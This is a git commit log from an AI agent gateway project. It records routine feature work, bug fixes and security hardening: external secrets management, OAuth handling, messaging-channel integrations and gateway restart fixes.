Peter Steinberger
78a7ff2d50 fix(security): harden node exec approvals against symlink rebind 2026-02-26 21:47:45 +01:00
Peter Steinberger
611dff985d fix(agents): harden embedded pi project settings loading 2026-02-26 21:46:39 +01:00
Peter Steinberger
38b6cee020 feat(config): add embedded pi project settings policy 2026-02-26 21:46:39 +01:00
Peter Steinberger
1aadf26f9a fix(voice-call): bind webhook dedupe to verified request identity 2026-02-26 21:43:51 +01:00
Vincent Koc
5a453eacbd chore(onboarding): add explicit account-risk warning for Gemini CLI OAuth and docs (#16683)
* docs: add account-risk caution to Google OAuth provider docs

* docs(plugin): add Gemini CLI account safety caution

* CLI: add risk hint for Gemini CLI auth choice

* Onboarding: require confirmation for Gemini CLI OAuth

* Tests: cover Gemini CLI OAuth risk confirmation flow
2026-02-26 15:25:42 -05:00
Vincent Koc
764cd5a310 fix(gemini-oauth): align OAuth project discovery metadata and endpoint fallbacks (#16684)
* fix(gemini-oauth): align loadCodeAssist metadata and endpoint fallback

* test(gemini-oauth): cover endpoint fallback and env project fallback

* fix(gemini-oauth): route timed fetches through ssrf guard

* test(gemini-oauth): mock guarded fetch in oauth tests
2026-02-26 15:24:35 -05:00
Peter Steinberger
a1628d89ec refactor: unify outbound session context wiring 2026-02-26 21:03:28 +01:00
Peter Steinberger
8483e01a68 refactor(matrix): dedupe sender label resolution for inbound bodies 2026-02-26 20:57:05 +01:00
Peter Steinberger
01b4f42f9a fix(matrix): preserve sender labels in Matrix BodyForAgent 2026-02-26 20:57:05 +01:00
Peter Steinberger
4cb4053993 fix: complete sessionKey forwarding for message:sent hook (#27584) (thanks @qualiobra) 2026-02-26 19:56:27 +00:00
Lucas Teixeira Campos Araujo
a4408a917e fix: pass sessionKey to deliverOutboundPayloads for message:sent hook dispatch
Several call sites of deliverOutboundPayloads() were not passing the
sessionKey parameter, causing the internal message:sent hook to never
fire (the guard `if (!sessionKeyForInternalHooks) return` in deliver.ts
silently skipped the triggerInternalHook call).

Fixed call sites:
- commands/agent/delivery.ts (agent loop replies — main fix)
- infra/heartbeat-runner.ts (heartbeat OK + alert delivery)
- infra/outbound/message.ts (message tool sends)
- cron/isolated-agent/delivery-dispatch.ts (cron job delivery)
- gateway/server-node-events.ts (node event forwarding)

The sessionKey parameter already existed in DeliverOutboundPayloadsCoreParams
and was used by deliver.ts to emit the message:sent internal hook event,
but was simply not being passed from most callers.
2026-02-26 19:56:27 +00:00
Taras Shynkarenko
20730af20b fix(browser): stop wrapping application errors with Can't reach message 2026-02-26 19:55:39 +00:00
Vincent Koc
311f57a2cd Changelog: add entries for PR #12849 and #27585 (#27887) 2026-02-26 14:54:48 -05:00
Peter Steinberger
675764e866 refactor(tui): simplify stream boundary-drop modes 2026-02-26 20:54:29 +01:00
Peter Steinberger
b01273cfc6 fix: narrow finalize boundary-drop guard (#27711) (thanks @scz2011) 2026-02-26 19:50:06 +00:00
AI Assistant
d6cbaea434 fix(tui): preserve streamed text during tool call transitions
Fixes #27674

The TUI was erasing already-streamed assistant text when tool calls
were triggered. This happened because the finalize() method in
TuiStreamAssembler was not using the protectBoundaryDrops option
when updating run state.

Now finalize() applies the same boundary drop protection as
ingestDelta(), ensuring that streamed text before tool calls is
preserved when the final payload drops earlier content blocks.
2026-02-26 19:50:06 +00:00
Shadow
03159f3942 CI: add maintainer ping auto-response 2026-02-26 13:30:12 -06:00
Peter Steinberger
344f54b84d refactor(config): dedupe model api definitions 2026-02-26 20:00:11 +01:00
Peter Steinberger
ac03803d12 fix: align codex model api schema/type coverage (#27501) (thanks @AytuncYildizli) 2026-02-26 18:51:04 +00:00
AytuncYildizli
861b90f79c fix(config): add openai-codex-responses to ModelApiSchema
The config schema validates provider api fields against ModelApiSchema,
but openai-codex-responses was missing from the allowed values. This
forces users to set api: "openai-responses" for the openai-codex
provider, which routes requests to api.openai.com/v1/responses instead
of chatgpt.com/backend-api/codex/responses, causing HTTP 401 errors
because Codex OAuth tokens lack api.responses.write scope for the
standard OpenAI Responses endpoint.

The runtime already supports openai-codex-responses throughout: model
registry, stream dispatch (streamOpenAICodexResponses), and provider
detection (OPENAI_MODEL_APIS set). Only the config schema was missing
the literal.
2026-02-26 18:51:04 +00:00
Peter Steinberger
d92fc85555 refactor(cli): dedupe gateway run mode parsing 2026-02-26 19:50:49 +01:00
Shakker
f7041fbee3 fix(windows): normalize namespaced path containment checks 2026-02-26 18:49:48 +00:00
Peter Steinberger
dc6e4a5b13 fix: harden dm command authorization in open mode 2026-02-26 19:49:36 +01:00
Nimrod Gutman
3f20c43308 fix: add nimrod gutman maintainer profile (#27840) (thanks @ngutman) 2026-02-26 20:46:37 +02:00
Viz
a81cf35a6f Add contributor Jonathan Taylor to CONTRIBUTING.md
Added Jonathan Taylor's contributions and contact links.
2026-02-26 13:22:34 -05:00
Peter Steinberger
a909019078 fix: align gateway run auth modes (#27469) (thanks @s1korrrr) 2026-02-26 18:20:27 +00:00
Rafal
1087033abd fix(cli): list all supported auth modes in gateway run --auth help
Made-with: Cursor
2026-02-26 18:20:27 +00:00
Shakker
47f52cd233 test(cli): tighten daemon status TLS mock typings 2026-02-26 18:13:33 +00:00
Shakker
bed69339c1 fix(cli): scope daemon status TLS fingerprint to local probes 2026-02-26 18:13:33 +00:00
Shakker
b788616d9c fix(cli): add TLS daemon-status probe regression coverage 2026-02-26 18:13:33 +00:00
Liu Yuan
90d426f9ad fix(cli): gateway status probe with TLS when bind=lan
- Use wss:// scheme when TLS is enabled (specifically for bind=lan)
- Load TLS runtime to get certificate fingerprint
- Pass fingerprint to probeGatewayStatus for self-signed cert trust
2026-02-26 18:13:33 +00:00
Peter Steinberger
d6eefe2e75 style: format auth boundary updates 2026-02-26 18:50:47 +01:00
Peter Steinberger
262bca9bdd fix: restore dm command and self-chat auth behavior 2026-02-26 18:49:16 +01:00
Peter Steinberger
64de4b6d6a fix: enforce explicit group auth boundaries across channels 2026-02-26 18:49:16 +01:00
Shakker
d0d83a2020 docs(changelog): add PR #17017 entry 2026-02-26 17:10:09 +00:00
Shakker
fe842b5f14 test(auto-reply): cover inbound timestamp guard 2026-02-26 17:10:09 +00:00
Liu Yuan
c596658b8d feat(auto-reply): make agent time-aware with message timestamps
Add human-readable timestamp field to the Conversation info JSON block.

Before:
  {
    "conversation_label": "D id:123"
  }

After:
  {
    "conversation_label": "D id:123",
    "timestamp": "Sun 2026-02-15 13:35 GMT+8"
  }

Benefits:
- Better time awareness for time-related questions
- Understand conversation gaps and response delays
- Handle delayed message delivery
- Context for relative time references ("just now", "later")
2026-02-26 17:10:09 +00:00
Peter Steinberger
10481097f8 refactor(security): enforce v1 node exec approval binding 2026-02-26 18:09:01 +01:00
Peter Steinberger
f4391c1725 docs(security): clarify Teams fileConsent uploadUrl report scope 2026-02-26 17:58:38 +01:00
Peter Steinberger
9597cf1890 docs(security): scope obfuscation parity reports as hardening 2026-02-26 17:58:25 +01:00
joshavant
edf7ad9b7d add me to Maintainers list
Signed-off-by: joshavant <830519+joshavant@users.noreply.github.com>
2026-02-26 10:55:03 -06:00
Peter Steinberger
9f154efa8d docs(acp): expand /acp operator playbook 2026-02-26 16:49:20 +00:00
Peter Steinberger
c5facb8477 fix(discord): avoid invalid /acp native option payload 2026-02-26 16:49:20 +00:00
Peter Steinberger
cd80c7e7ff refactor: unify dm policy store reads and reason codes 2026-02-26 17:47:57 +01:00
Peter Steinberger
53e30475e2 test(agents): add compaction and workspace reset regressions 2026-02-26 17:41:25 +01:00
Peter Steinberger
0ec7711bc2 fix(agents): harden compaction and reset safety
Co-authored-by: jaden-clovervnd <91520439+jaden-clovervnd@users.noreply.github.com>
Co-authored-by: Sid <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: Marcus Widing <245375637+widingmarcus-cyber@users.noreply.github.com>
2026-02-26 17:41:24 +01:00
Peter Steinberger
273973d374 refactor: unify typing dispatch lifecycle and policy boundaries 2026-02-26 17:36:16 +01:00
Peter Steinberger
6fd9ec97de fix(gateway): preserve turn-origin messageChannel in agent runs 2026-02-26 17:25:56 +01:00
Peter Steinberger
08e3357480 refactor: share gateway security path canonicalization 2026-02-26 17:23:46 +01:00
Shakker
15e3e63705 protocol: regenerate Swift models for exec env field 2026-02-26 16:19:44 +00:00
Shakker
b044c149c1 Mattermost: avoid raw fetch in monitor media download 2026-02-26 16:03:39 +00:00
Peter Steinberger
8a51891ed5 test(exec-approvals): cover v1 binding precedence and mismatch mapping 2026-02-26 17:02:52 +01:00
Peter Steinberger
258d615c4d fix: harden plugin route auth path canonicalization 2026-02-26 17:02:06 +01:00
Peter Steinberger
37a138c554 fix: harden typing lifecycle and cross-channel suppression 2026-02-26 17:01:09 +01:00
Peter Steinberger
4894d907fa refactor(exec-approvals): unify system.run binding and generate host env policy 2026-02-26 16:58:01 +01:00
Ayaan Zaidi
baf1c8ea13 docs: add changelog for android device node commands (#27664) (thanks @obviyus) 2026-02-26 21:26:11 +05:30
Ayaan Zaidi
cf327f60ba fix(android): require validated network for device status 2026-02-26 21:26:11 +05:30
Ayaan Zaidi
d14e734e9c refactor(android): remove dead thermal sdk branch 2026-02-26 21:26:11 +05:30
Ayaan Zaidi
d768c1f81c feat(android): wire device commands into runtime 2026-02-26 21:26:11 +05:30
Ayaan Zaidi
67f6a13c5a feat(android): add device status and info handler 2026-02-26 21:26:11 +05:30
Ayaan Zaidi
551647aa96 feat(android): add device invoke protocol commands 2026-02-26 21:26:11 +05:30
riccoyuanft
60bb475355 fix: set authHeader: true by default for MiniMax API provider (#27622)
* Update onboard-auth.config-minimax.ts

fix issue #27600

* fix(minimax): default authHeader for implicit + onboarding providers (#27600)

Landed from contributor PR #27622 by @riccoyuanft and PR #27631 by @kevinWangSheng.
Includes a small TS nullability guard in lane delivery to keep build green on rebased head.

Co-authored-by: riccoyuanft <riccoyuan@gmail.com>
Co-authored-by: Kevin Shenghui <shenghuikevin@github.com>

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
Co-authored-by: Kevin Shenghui <shenghuikevin@github.com>
2026-02-26 15:53:51 +00:00
Peter Steinberger
1708b11fab refactor(pi): simplify image reference detection 2026-02-26 16:52:13 +01:00
Peter Steinberger
b678308d96 docs: add unreleased security note for msteams ssrf hardening 2026-02-26 16:48:32 +01:00
Peter Steinberger
75ed72e807 refactor(pi): extract history image prune helpers 2026-02-26 16:44:52 +01:00
Peter Steinberger
57334cd7d8 refactor: unify channel/plugin ssrf fetch policy and auth fallback 2026-02-26 16:44:13 +01:00
Peter Steinberger
2e97d0dd95 fix: finalize teams file-consent timeout landing (#27641) (thanks @scz2011) 2026-02-26 15:42:08 +00:00
AI Assistant
773ab319ef fix(msteams): Fix code formatting
Remove trailing whitespace to pass oxfmt format check.
2026-02-26 15:42:08 +00:00
AI Assistant
ecbb3bcc1a fix(msteams): Fix test timing for async file upload handling
Update tests to properly wait for async file upload operations:
- Use vi.waitFor() to wait for async upload completion in success case
- Use vi.waitFor() to wait for error message in cross-conversation case
- Add setTimeout delay for decline case to ensure async handler completes
- Adjust assertion order to match new execution flow (invokeResponse first)

The tests were failing because the file upload now happens asynchronously
after sending the invokeResponse, so we need to explicitly wait for the
async operations to complete before making assertions.
2026-02-26 15:42:08 +00:00
AI Assistant
09f4abdd61 fix(msteams): Send invokeResponse immediately to prevent Teams timeout (#27632)
Fix file upload 'Something went wrong' error by sending the invoke
acknowledgement before performing the file upload, rather than after.

Changes:
- Move invokeResponse to fire immediately upon receiving fileConsent/invoke
- Handle file upload asynchronously without blocking the response
- Update test to wait for async upload completion using vi.waitFor

This prevents Teams from timing out while waiting for the HTTP 200
acknowledgement during slow file uploads to OneDrive.

Fixes #27632
2026-02-26 15:42:08 +00:00
Peter Steinberger
7d9397099b fix(bluebubbles): allow configured host for attachment SSRF guard
Co-authored-by: damaozi <1811866786@qq.com>
2026-02-26 16:40:57 +01:00
Peter Steinberger
4da6a7f212 refactor(restart): extract stale pid cleanup and supervisor markers 2026-02-26 16:39:27 +01:00
Peter Steinberger
c81e9866ff fix(pi): stop history image reinjection token blowup 2026-02-26 16:38:20 +01:00
Peter Steinberger
9a4b2266cc fix(security): bind node system.run approvals to env 2026-02-26 16:38:07 +01:00
Peter Steinberger
f877e7e74c fix(telegram): split stop-created preview finalization path
Refactor lane preview finalization into explicit branches so stop-created
previews never duplicate sends when edit fails.

Add Telegram dispatch regressions for:
- stop-created preview edit failure (no duplicate send)
- existing preview edit failure (fallback send preserved)
- missing message id after stop-created flush (fallback send)

Thanks @obviyus for the original preview-prime direction in #27449.

Co-authored-by: Ayaan Zaidi <hi@obviy.us>
2026-02-26 15:35:41 +00:00
Peter Steinberger
051fdcc428 fix(security): centralize dm/group allowlist auth composition 2026-02-26 16:35:33 +01:00
Peter Steinberger
7f863e22b0 docs(changelog): unify gateway restart-loop fixes 2026-02-26 15:31:04 +00:00
Kevin Shenghui
16ccd5a874 fix(gateway): add ThrottleInterval to launchd plist to prevent restart loop 2026-02-26 15:31:04 +00:00
Peter Steinberger
ed9cd846d0 chore(deps): refresh grammy and @types/node 2026-02-26 16:22:53 +01:00
Peter Steinberger
03d7641b0e feat(agents): default codex transport to websocket-first 2026-02-26 16:22:53 +01:00
SidQin-cyber
63c6080d50 fix: clean stale gateway PIDs before triggerOpenClawRestart calls launchctl/systemctl
When the /restart command runs inside an embedded agent process (no
SIGUSR1 listener), it falls through to triggerOpenClawRestart() which
calls launchctl kickstart -k directly — bypassing the pre-restart port
cleanup added in #27013. If the gateway was started via TUI/CLI, the
orphaned process still holds the port and the new launchd instance
crash-loops.

Add synchronous stale-PID detection (lsof) and termination
(SIGTERM→SIGKILL) inside triggerOpenClawRestart() itself, so every
caller — including the embedded agent /restart path — gets port cleanup
before the service manager restart command fires.

Closes #26736

Made-with: Cursor
2026-02-26 15:22:35 +00:00
taw0002
792ce7b5b4 fix: detect OpenClaw-managed launchd/systemd services in process respawn
restartGatewayProcessWithFreshPid() checks SUPERVISOR_HINT_ENV_VARS to
decide whether to let the supervisor handle the restart (mode=supervised)
or to fork a detached child (mode=spawned). The existing list only had
native launchd vars (LAUNCH_JOB_LABEL, LAUNCH_JOB_NAME) and systemd vars
(INVOCATION_ID, SYSTEMD_EXEC_PID, JOURNAL_STREAM).

macOS launchd does NOT automatically inject LAUNCH_JOB_LABEL into the
child environment. OpenClaw's own plist generator (buildServiceEnvironment
in service-env.ts) sets OPENCLAW_LAUNCHD_LABEL instead. So on stock macOS
LaunchAgent installs, isLikelySupervisedProcess() returned false, causing
the gateway to fork a detached child on SIGUSR1 restart. The original
process then exits, launchd sees its child died, respawns a new instance
which finds the orphan holding the port — infinite crash loop.

Fix: add OPENCLAW_LAUNCHD_LABEL, OPENCLAW_SYSTEMD_UNIT, and
OPENCLAW_SERVICE_MARKER to the supervisor hint list. These are set by
OpenClaw's own service environment builders for both launchd and systemd
and are the reliable supervised-mode signals.

Fixes #27605
2026-02-26 15:21:23 +00:00
Peter Steinberger
5c0255477c fix: tolerate missing pi-coding-agent backend export 2026-02-26 16:11:37 +01:00
Peter Steinberger
d8477cbb3f fix(ci): sync protocol models and acpx version 2026-02-26 16:10:03 +01:00
Peter Steinberger
fae8de9ae0 fix(browser): land PR #27617 relay reconnect resilience 2026-02-26 15:08:55 +00:00
Peter Steinberger
aa17bdbe4a docs(changelog): reorder all unreleased entries by user impact 2026-02-26 16:05:47 +01:00
Peter Steinberger
45b5c23825 docs(changelog): reorder unreleased changes by user interest 2026-02-26 16:03:29 +01:00
Peter Steinberger
0f9c602591 docs(changelog): highlight external secrets management (#26155) 2026-02-26 16:01:23 +01:00
Peter Steinberger
cc1eaf130b docs(gateway): clarify remote token local fallback semantics 2026-02-26 15:59:44 +01:00
Peter Steinberger
47fc6a0806 fix: stabilize secrets land + docs note (#26155) (thanks @joshavant) 2026-02-26 14:47:22 +00:00
Peter Steinberger
4380d74d49 docs(secrets): add dedicated apply plan contract page 2026-02-26 14:47:22 +00:00
Peter Steinberger
820d614757 fix(secrets): harden plan target paths and ref-only auth profiles 2026-02-26 14:47:22 +00:00
joshavant
485cd0c512 fix(test): skip exec-backed audit batching assertion on windows 2026-02-26 14:47:22 +00:00
joshavant
14897e8de7 docs(secrets): clarify partial migration guidance 2026-02-26 14:47:22 +00:00
joshavant
7671c1dd10 test(secrets): cover skill migration and symlinked exec command flow 2026-02-26 14:47:22 +00:00
joshavant
d879c7c641 fix(secrets): harden apply and audit plan handling 2026-02-26 14:47:22 +00:00
joshavant
ea1ccf4896 docs(secrets): add direct 1password exec example 2026-02-26 14:47:22 +00:00
joshavant
f46b9c996f feat(secrets): allow opt-in symlink exec command paths 2026-02-26 14:47:22 +00:00
joshavant
06290b49b2 feat(secrets): finalize mode rename and validated exec docs 2026-02-26 14:47:22 +00:00
joshavant
ba2eb583c0 fix(secrets): make apply idempotent and keep audit read-only 2026-02-26 14:47:22 +00:00
joshavant
f413e314b9 feat(secrets): replace migrate flow with audit/configure/apply 2026-02-26 14:47:22 +00:00
joshavant
8944b75e16 fix(secrets): align ref contracts and non-interactive ref persistence 2026-02-26 14:47:22 +00:00
joshavant
86622ebea9 fix(secrets): enforce file provider read timeouts 2026-02-26 14:47:22 +00:00
joshavant
67e9554645 test(session): normalize parent fork parentSession path assertion 2026-02-26 14:47:22 +00:00
joshavant
060ede8aaa test(secrets): skip windows ACL-sensitive file-provider runtime tests 2026-02-26 14:47:22 +00:00
joshavant
b84d7796be test(secrets): skip strict file-permission resolver tests on windows 2026-02-26 14:47:22 +00:00
joshavant
bde9cbb058 docs(secrets): align provider model and add exec resolver coverage 2026-02-26 14:47:22 +00:00
joshavant
4e7a833a24 feat(security): add provider-based external secrets management 2026-02-26 14:47:22 +00:00
joshavant
bb60cab76d test: sops invocation assertion
Signed-off-by: joshavant <830519+joshavant@users.noreply.github.com>
2026-02-26 14:47:22 +00:00
joshavant
5e3a86fd2f feat(secrets): expand onboarding secret-ref flows and custom-provider parity 2026-02-26 14:47:22 +00:00
joshavant
e8637c79b3 fix(secrets): harden sops migration sops rule matching 2026-02-26 14:47:22 +00:00
joshavant
0e69660c41 feat(secrets): finalize external secrets runtime and migration hardening 2026-02-26 14:47:22 +00:00
joshavant
c5b89fbaea Docs: address review feedback on secrets docs 2026-02-26 14:47:22 +00:00
joshavant
9203d583f9 Docs: add secrets and CLI secrets reference pages 2026-02-26 14:47:22 +00:00
joshavant
c0a3801086 Docs: document secrets refs runtime and migration 2026-02-26 14:47:22 +00:00
joshavant
cb119874dc Onboard: require explicit mode for env secret refs 2026-02-26 14:47:22 +00:00
joshavant
4d94b05ac5 Secrets: keep read-only runtime sync in-memory 2026-02-26 14:47:22 +00:00
joshavant
13b4993289 Onboard non-interactive: avoid rewriting profile-backed keys 2026-02-26 14:47:22 +00:00
joshavant
59e5f12bf9 Onboard: move volcengine/byteplus auth from .env to profiles 2026-02-26 14:47:22 +00:00
joshavant
2ef109f00a Onboard OpenAI: explicit secret-input-mode behavior 2026-02-26 14:47:22 +00:00
joshavant
e8d1725187 Onboard auth: remove leftover merge marker 2026-02-26 14:47:22 +00:00
joshavant
fce4d76a78 Tests: narrow OpenAI default model assertion typing 2026-02-26 14:47:22 +00:00
joshavant
68b9d89ee7 Onboard: store OpenAI auth in profiles instead of .env 2026-02-26 14:47:22 +00:00
joshavant
09c7cb5d34 Tests: update onboard credential expectations for explicit ref mode 2026-02-26 14:47:22 +00:00
joshavant
b50d2ce93c Tests: align auth-choice helper expectations with secret mode 2026-02-26 14:47:22 +00:00
joshavant
04aa856fc0 Onboard: require explicit mode for env secret refs 2026-02-26 14:47:22 +00:00
joshavant
103d02f98c Auth choice tests: expect env-backed key refs 2026-02-26 14:47:22 +00:00
joshavant
56f73ae080 Auth choice tests: assert env-backed keyRef persistence 2026-02-26 14:47:22 +00:00
joshavant
58590087de Onboard auth: use shared secret-ref helpers 2026-02-26 14:47:22 +00:00
joshavant
7e1557b8c9 Onboard: persist env-backed API keys as secret refs 2026-02-26 14:47:22 +00:00
joshavant
363334253b Secrets migrate: split plan/apply/backup modules 2026-02-26 14:47:22 +00:00
joshavant
4807e40cbd Agents: restore auth.json static scrub during pi auth discovery 2026-02-26 14:47:22 +00:00
joshavant
8e439e2d81 Secrets migrate: ensure unique backup ids per write 2026-02-26 14:47:22 +00:00
joshavant
a74067d00b Secrets migrate: share helpers and narrow env scrub scope 2026-02-26 14:47:22 +00:00
joshavant
f6a854bd37 Secrets: add migrate rollback and skill ref support 2026-02-26 14:47:22 +00:00
joshavant
2e53033f22 Gateway: serialize secrets activation across reload paths 2026-02-26 14:47:22 +00:00
joshavant
fe56700026 Gateway: add manual secrets reload command 2026-02-26 14:47:22 +00:00
joshavant
301fe18909 Agents: inject pi auth storage from runtime profiles 2026-02-26 14:47:22 +00:00
joshavant
6a251d8d74 Auth profiles: resolve keyRef/tokenRef outside gateway 2026-02-26 14:47:22 +00:00
joshavant
5ae367aadd Tests: stub discoverAuthStorage in model catalog mocks 2026-02-26 14:47:22 +00:00
joshavant
cec404225d Auth labels: handle token refs and share Pi credential conversion 2026-02-26 14:47:22 +00:00
joshavant
e1301c31e7 Auth profiles: never persist plaintext when refs are present 2026-02-26 14:47:22 +00:00
joshavant
4c5a2c3c6d Agents: inject pi auth storage from runtime profiles 2026-02-26 14:47:22 +00:00
joshavant
45ec5aaf2b Secrets: keep read-only runtime sync in-memory 2026-02-26 14:47:22 +00:00
joshavant
8e33ebe471 Secrets: make runtime activation auth loads read-only 2026-02-26 14:47:22 +00:00
joshavant
3dbb6be270 Gateway tests: handle async restart callback path 2026-02-26 14:47:22 +00:00
joshavant
1560f02561 Gateway: mark restart callback promise as intentionally detached 2026-02-26 14:47:22 +00:00
joshavant
eb855f75ce Gateway: emit one-shot operator events for secrets degraded/recovered 2026-02-26 14:47:22 +00:00
joshavant
e45729a430 Secrets runtime: include sourceConfig in prepared snapshot type 2026-02-26 14:47:22 +00:00
joshavant
e4915cb107 Secrets: preserve runtime snapshot source refs on write 2026-02-26 14:47:22 +00:00
joshavant
b1533bc80c Gateway: avoid double secrets activation at startup 2026-02-26 14:47:22 +00:00
joshavant
b50c4c2c44 Gateway: add eager secrets runtime snapshot activation 2026-02-26 14:47:22 +00:00
joshavant
2f3b919b94 Config: remove unused extension path helper 2026-02-26 14:47:22 +00:00
joshavant
d00ed73026 Config: enforce source-specific SecretRef id validation 2026-02-26 14:47:22 +00:00
joshavant
c3a4251a60 Config: add secret ref schema and redaction foundations 2026-02-26 14:47:22 +00:00
Vincent Koc
6daf40d3f4 Gemini OAuth: resolve npm global shim install layouts (#27585)
* Changelog: credit session path fixes

* test(gemini-oauth): cover npm global shim credential discovery

* fix(gemini-oauth): resolve npm global shim install roots
2026-02-26 09:43:05 -05:00
Peter Steinberger
79659b2b14 fix(browser): land PR #11880 decodeURIComponent guardrails
Guard malformed percent-encoding in relay target routes and browser dispatcher params, add regression tests, and update changelog.
Landed from contributor @Yida-Dev (PR #11880).

Co-authored-by: Yida-Dev <reyifeijun@gmail.com>
2026-02-26 14:37:48 +00:00
Harold Hunt
62a248eb99 core(protocol): pnpm protocol:check 2026-02-26 20:03:25 +05:30
Ayaan Zaidi
22b0f36350 fix: add changelog entry for telegram webhook updates (#25732) (thanks @huntharo) 2026-02-26 20:01:50 +05:30
Harold Hunt
dbfdf60a42 fix(telegram): Allow ephemeral webhookPort 2026-02-26 20:01:50 +05:30
Harold Hunt
296210636d fix(telegram): Log bound port if ephemeral (0) is configured 2026-02-26 20:01:50 +05:30
Harold Hunt
840b768d97 Telegram: improve webhook config guidance and startup fallback 2026-02-26 20:01:50 +05:30
Peter Steinberger
5416cabdf8 fix(browser): land PR #21277 dedupe concurrent relay init
Add shared per-port relay initialization dedupe so concurrent callers await a single startup lifecycle, with regression coverage and changelog entry.
Landed from contributor @HOYALIM (PR #21277).

Co-authored-by: Ho Lim <subhoya@gmail.com>
2026-02-26 14:30:46 +00:00
Peter Steinberger
65d5a91242 fix(browser): land PR #22571 with safe extension handshake handling
Bind relay WS message handling before onopen and add non-blocking connect.challenge response support without forcing handshake waits on current relay protocol.
Landed from contributor @pandego (PR #22571).

Co-authored-by: pandego <7780875+pandego@users.noreply.github.com>
2026-02-26 14:26:14 +00:00
Peter Steinberger
ce833cd6de fix(browser): land PR #24142 flush relay pending timers on stop
Flush pending extension request timers/rejections during relay shutdown and document in changelog.
Landed from contributor @kevinWangSheng (PR #24142).

Co-authored-by: Shawn <118158941+kevinWangSheng@users.noreply.github.com>
2026-02-26 14:20:43 +00:00
Peter Steinberger
42cf32c386 fix(browser): land PR #26015 query-token auth for /json relay routes
Align relay HTTP /json auth with websocket auth by accepting query-param tokens, add regression coverage, and update changelog.
Landed from contributor @Sid-Qin (PR #26015).

Co-authored-by: SidQin-cyber <sidqin0410@gmail.com>
2026-02-26 14:17:41 +00:00
张哲芳
77a3930b72 fix(gateway): allow cron commands to use gateway.remote.token (#27286)
* fix(gateway): allow cron commands to use gateway.remote.token

* fix(gateway): make local remote-token fallback effective

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-26 14:17:30 +00:00
Peter Steinberger
4c75eca580 fix(browser): land PR #23962 extension relay CORS fix
Reworks browser relay CORS handling for extension-origin preflight and JSON responses, adds regression tests, and updates changelog.
Landed from contributor @miloudbelarebia (PR #23962).

Co-authored-by: Miloud Belarebia <miloudbelarebia@users.noreply.github.com>
2026-02-26 14:14:30 +00:00
Peter Steinberger
081b1aa1ed refactor(gateway): unify v3 auth payload builders and vectors 2026-02-26 15:08:50 +01:00
Peter Steinberger
8315c58675 refactor(auth-profiles): unify coercion and add rejected-entry diagnostics 2026-02-26 14:42:11 +01:00
Peter Steinberger
96aad965ab fix: land NO_REPLY announce suppression and auth scope assertions
Landed follow-up for #27535 and aligned shared-auth gateway expectations after #27498.

Co-authored-by: kevinWangSheng <118158941+kevinWangSheng@users.noreply.github.com>
2026-02-26 13:40:58 +00:00
SidQin-cyber
eb9a968336 fix(slack): suppress NO_REPLY before Slack API call
Guard sendMessageSlack against NO_REPLY tokens reaching the Slack API,
which caused truncated push notifications before the reply filter could
intercept them.

Made-with: Cursor
(cherry picked from commit fab9b52039)
2026-02-26 13:40:58 +00:00
Kevin Shenghui
9c142993b8 fix: preserve operator scopes for shared auth connections
When connecting via shared gateway token (no device identity),
the operator scopes were being cleared, causing API operations
to fail with 'missing scope' errors.

This fix preserves scopes when sharedAuthOk is true, allowing
headless/API operator clients to retain their requested scopes.

Fixes #27494

(cherry picked from commit c71c8948bd)
2026-02-26 13:40:58 +00:00
Ubuntu
0ab5f4c43b fix: enable store=true for Azure OpenAI Responses API
Azure OpenAI endpoints were not recognized by shouldForceResponsesStore(),
causing store=false to be sent with all Azure Responses API requests.
This broke multi-turn conversations because previous_response_id referenced
responses that Azure never stored.

Add "azure-openai-responses" to the provider whitelist and
*.openai.azure.com to the URL check in isDirectOpenAIBaseUrl().

Fixes #27497

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
(cherry picked from commit 185f3814e9)
2026-02-26 13:40:58 +00:00
SidQin-cyber
71e45ceecc fix(sessions): add fix-missing cleanup path for orphaned store entries
Introduce a sessions cleanup flag to prune entries whose transcript files are missing and surface the exact remediation command from doctor to resolve missing-transcript deadlocks.

Made-with: Cursor
(cherry picked from commit 690d3d596b)
2026-02-26 13:40:58 +00:00
SidQin-cyber
a481ed00f5 fix(config): warn and ignore unknown plugin entry keys
Prevent gateway startup failures when plugins.entries contains stale or removed plugin ids by downgrading unknown entry keys from validation errors to warnings.

Made-with: Cursor
(cherry picked from commit 34ef28cf63)
2026-02-26 13:40:58 +00:00
SidQin-cyber
1ba525f94d fix(telegram): degrade command sync on BOT_COMMANDS_TOO_MUCH
When Telegram rejects native command registration for excessive commands, progressively retry with fewer commands instead of hard-failing startup.

Made-with: Cursor
(cherry picked from commit a02c40483e)
2026-02-26 13:40:58 +00:00
SidQin-cyber
79176cc4e5 fix(typing): force cleanup when dispatch idle is never received
Add a grace timer after markRunComplete so the typing controller
cleans up even when markDispatchIdle is never called, preventing
indefinite typing keepalive loops in cron and announce flows.

Made-with: Cursor
(cherry picked from commit 684eaf2893)
2026-02-26 13:40:58 +00:00
Peter Steinberger
4b259ab81b fix(models): normalize trailing @profile parsing across resolver paths
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Co-authored-by: Marcus Castro <mcaxtr@gmail.com>
Co-authored-by: Brandon Wise <brandonawise@gmail.com>
2026-02-26 14:34:15 +01:00
Peter Steinberger
00e8e88a7c docs(changelog): note auth-profile alias normalization (#26950) (thanks @byungsker) 2026-02-26 13:32:05 +00:00
lbo728
7e7ca43a79 fix(auth-profiles): accept mode/apiKey aliases to prevent silent credential loss
Users following openclaw.json auth.profiles examples (which use 'mode' for
the credential type) would write their auth-profiles.json entries with:
  { provider: "anthropic", mode: "api_key", apiKey: "sk-ant-..." }

The actual auth-profiles.json schema uses:
  { provider: "anthropic", type: "api_key", key: "sk-ant-..." }

coerceAuthStore() and coerceLegacyStore() validated entries strictly on
typed.type, silently skipping any entry that used the mode/apiKey spelling.
The user would get 'No API key found for provider anthropic' with no hint
about the field name mismatch.

Add normalizeRawCredentialEntry() which, before validation:
- coerces mode → type when type is absent
- coerces apiKey → key when key is absent

Both functions now call the normalizer before the type guard so
mode/apiKey entries are loaded and resolved correctly.

Fixes #26916
2026-02-26 13:32:05 +00:00
Nimrod Gutman
85b075d0cc fix: record ios talk voice directive hint removal (#27543) (thanks @ngutman) 2026-02-26 15:19:07 +02:00
Nimrod Gutman
185c393459 fix(ios): remove talk voice directive hint 2026-02-26 15:19:07 +02:00
Peter Steinberger
490cb5174d fix(apps): sign gateway device auth with v3 payload 2026-02-26 14:16:49 +01:00
Peter Steinberger
